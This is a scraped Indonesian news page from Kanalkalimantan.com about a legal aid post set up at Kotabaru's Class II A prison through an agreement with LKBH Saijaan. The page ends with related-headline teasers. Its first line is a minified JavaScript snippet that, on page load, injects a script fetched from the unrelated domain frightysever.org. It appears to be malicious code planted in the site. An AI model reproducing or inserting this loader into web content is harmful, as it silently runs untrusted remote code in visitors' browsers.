(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Lembaga Permasyarakatan (Lapas) Kelas II A Kotabaru kini memiliki pos bantuan hukum yang diperuntukkan untuk para warga binaan dalam berkonsultasi dan berkoordinasi terkait dengan masalah hukum.
Senin (3/4/2023) pagi, dilakukan penandatanganan kerjasama antara Lapas Kelas II A Kotabaru dengan Lembaga Konsultasi Bantuan Hukum (LKBH) Saijaan.
Kepala Lapas Kelas II A Kotabaru Benyamin Yosef Yembise memberikan apresiasi dan berterima kasih kepada LKBH Saijaan yang telah hadir melaksanakan kerjasama.
“Tentu kita berharap kerjasama yang terbangun akan terus berlanjut dengan baik dan sinergitas tetap terjaga sebagaimana harapan,” tutur pria yang murah senyum ini kepada Kanalkalimantan.com.
Baca juga: Adu Lari Jadi Ajang Taruhan Cuan, Polisi: Jika Kedapatan Ada Proses Pidana
Dikatakannya lebih jauh, hal tersebut merupakan salah satu pekerjaan mulia untuk membantu para warga binaan. Dimana, banyak tahanan atau narapidana yang sangat membutuhkan bantuan hukum yang tidak mampu.
“Sekali lagi terimakasih kepada LKBH Saijaan, dan dengan terjalinnya kerjasama ini sangat tentu akan membantu kami. Diharapkan kerjasama ini terus berjalan dengan baik untuk masa yang akan datang,” harapnya.
Disamping itu, sambung Yosef, perjanjian kerjasama yang terjalin adalah dasar dalam berkoordinasi untuk menyelenggarakan Pos Bantuan Hukum Pemasyarakatan bagi tahanan dan narapidana.
“Terlaksananya penandatanganan kerjasama ini sebagai lanjutan dari yang sudah terjalin antara Lapas Kotabaru dan LKBH Saijaan sebelumnya, tentu akan memberikan dampak positif bagi kami,” jelasnya kemudian.
Sementara, MN Asikin Ngile, Ketua LKBH Saijaan menyampaikan, pihaknya juga sangat mengapresiasi dan berterimakasih atas terlaksananya kegiatan tersebut.
Baca juga: Wakil Ketua TP PKK Kapuas Buka Pasar Murah Ramadhan di Kapuas Timur
“Kami dari LKBH Saijaan berharap melalui kerjasama ini dapat memberikan bantuan dalam kegiatan sosial, khususnya di bidang pelayanan dan pemberian bantuan hukum bagi warga binaan Lapas Kotabaru,” katanya.
Yang jelas, pihaknya akan membantu warga binaan ketika ingin berkonsultasi terkait permasalahan hukum. “Mudah-mudahan kerjasama yang baik ini akan terus terjalin dan kami juga dapat membantu para warga binaan di dalam Lapas Kotabaru,” pungkasnya. (Kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More
KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More
PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More
KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More
This website uses cookies.